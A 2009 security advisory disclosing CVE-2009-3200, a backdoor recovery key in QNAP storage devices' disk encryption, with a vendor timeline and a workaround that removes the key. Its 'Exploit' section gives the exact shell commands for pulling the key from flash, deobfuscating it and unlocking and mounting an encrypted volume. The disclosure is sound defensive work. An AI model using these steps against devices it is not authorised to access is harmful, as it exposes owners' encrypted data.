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Title: Crypto backdoor in Qnap storage devices
Date: 18 September 2009
URL: http://www.mh-sec.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt
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Vendor: QNAP Systems
Affected Products: TS-239 Pro, TS-639 Pro, SS-439 Pro, TS-439 Pro,
TS-439U-SP/RP, TS-509 Pro, SS-839 Pro,
TS-809 Pro, TS-809U-RP
Vulnerability: hard disk encryption bypass due recovery key
Affected Releases: All previous to v3.1.2 Build1001
Severity: Moderate/High
CVE: CVE-2009-3200
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Update Section:
02 November 2009
Stable firmware update v3.1.2 Build1014 from 23 October 2009
does remove the backdoor key when installed. However the
offending code is still in the binaries. Due time constraints
this can not be followed up at the moment.
25 September 2009
Fixed an error in the "Exploit:" section, which made the key
wrong, and the exploit would not work.
23 September 2009
For the two minor issues in the advisory, MITRE created two
additional CVEs: CVE-2009-3278 and CVE-2009-3279
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Overview:
The premium and new line of QNAP network storage solutions allow
for full hard disk encryption. When rebooting, the user has to
unlock the hard disk by supplying the encryption passphrase via
the web GUI.
However, when the hard disk is encrypted, a secondary key is
created, added to the keyring, and stored in the flash with minor
obfuscation.
Impact:
The encrypted hard disk can be unlocked and potential sensitive
contents access by attackers who obtain physical or network
access to the hard disk and flash.
Description:
When a user selects in the web GUI to encrypt a hard drive, he
has to supply a passphrase of 8-16 length.
The Qnap solution is to use the underlying Linux standard
mechanisms of LUKS to create the encrypted partition.
The user supplied passphrase is crypt(3)'ed with the MD5 salt
of $1$YCCaQNAP$ and used as the initial key to access the LUKS
master key for the drive.
Additionally, the system creates a second key, which is 32
characters long and contains all low case characters and the
numbers 0-9, and adds it to the LUKS keyring:
/sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \
--key-file=/tmp/temp.rUBxFo
Before writing the second key to the flash, the key is then
obfuscated in the following way:
the first six characters are reversed and written to the end
of the string.
The obfuscated string is then written to the flash (/dev/sdx6
on current Qnap storage devices) in the ENCK variable.
Exploit:
An attacker - or user who has lost his passphrase - just needs
to do the following:
1. Obtain the backdoor key from the flash:
# strings /dev/sdx6 | grep ENCK
ENCK=ijklmnopqrstuvwxyz012345hgfedcba
It is possible that several ENCK keys show up.
2. The key has then to be deobfuscated. The last 6 characters have
to be taken, reversed, and put in front of the string:
ENCK key before: ijklmnopqrstuvwxyz012345hgfedcba
ENCK key after: abcdefghijklmnopqrstuvwxyz012345
3. The key file has to be created:
# echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key
4. The encrypted volume is unlocked and mounted. The device is
usually /dev/md0 or /dev/sda3.
# /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
key slot 0 unlocked.
Command successful.
# mount /dev/mapper/md0 /share/MD0_DATA
Full access to the encrypted volume has been obtained.
Additional Weaknesses:
The backdoor key is generated by rand() calls. As the rand()
function produces random numbers unsuitable for cryptographic
keys. The cryptographic strength of this generated key is
approx 2^32, hence feasible for breaking. This would make
access to the flash unnecessary.
The LUKS partition is created in AES-256 in plain CBC mode. This
mode is susceptible to watermark attacks.
Solution:
Firmware update v3.1.2 Build1014 from 23 October 2009 removes
the backdoor key from the crypto volume and the flash.
A quick analysis of the update showed that offending code is
still present. No time is currently available to see what
changes have been made to the code to not use the offending
backdoor code.
Note that the removal of the backdoor was labeled as
"Provide Enhanced AES-256 encryption in data security"
in the change notes...
Workaround:
There is no workaround available which can be used by a novice
user.
The best solution is to remove the backdoor key from keyslot 0.
However this requires hashing the user passphrase. For this, a
Linux system has to be available, which has the "mkpasswd" command
installed (whois package).
Execute:
# mkpasswd --hash=md5 --salt='YCCaQNAP'
and enter the password on the Password: prompt. Copy the outout.
On the Qnap device, create the keyfile with the password hash:
# echo -n "...the output of mkpasswd..." > /tmp/mykey
Now remove the backdoor key:
# /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey
Remove all sensitive data, wipe the shell history, and logoff:
# echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
# rm /tmp/mykey /tmp/key
# HISTSIZE=0
# exit
As an additional measure, the flash can be edited and the saved
key overwritten (this requires the ipkg package installed).
Install a hex editor, run the hexeditor on the flash, and
overwrite ENCK values:
# ipkg install hexcurse
# hexcurse /dev/sdx6
(a hex editor window is loading)
Type Control-F, then 454e434b and hit Enter.
Use the cursor keys to the character string after the "ENCK="
string and then type in as many "A" characters, until the string
is full. Type Control-S to save, adn Control-Q to quit.
Please note that no liability is given whatsoever by anyone
if the workaround is used. It is recommended to be performed
by experienced users only.
Original Vendor FUD:
"The functionality for encryption the hard disk does not include
a crypto backdoor."
(in response to a user question why two keyslots are allocated,
and if this is because of a backdoor)
http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346
http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341
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Credit:
Analysis performed thanks to the ultimate binary analysis tool
BinNavi by Zynamics, and the great - and free - IDA Pro
Dissassembler 4.9 by Datarescue.
Greets to the teams at Red Database Security, Recurity Labs,
THC and n.runs.
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Vendor communication:
10 September 2009 Issue posted in the Qnap support forum
15 September 2009 Notification on crypto backdoor sent directly
to Qnap to force a response, giving 72 hours
to explain why the backdoor exists, when and
how it will be removed, and how this
information will be made available to the users.
15 September 2009 Qnap support contact confirms notification,
and informs of forwarding to support team
in Taiwan for clarification
16 September 2009 Phone cann from Qnap representive, stating
this issue is a high priority
18 September 2009 No statement from Qnap was given on why the
backdoor exists and if and when it will be
removed.
18 September 2009 This advisory is released
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Contact:
Marc Heuse
mh@mh-sec.de
http://www.mh-sec.de
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The information provided is released "as is" without warranty of
any kind. The publisher disclaims all warranties, either express or
implied, including all warranties of merchantability.
No responsibility is taken for the correctness of this information.
In no event shall the publisher be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of
business profits or special damages, even if the publisher has been
advised of the possibility of such damages.
The contents of this advisory is copyright (c) 2009 by Marc Heuse
and may be distributed freely provided that no fee is charged for
the distribution and proper credit is given.
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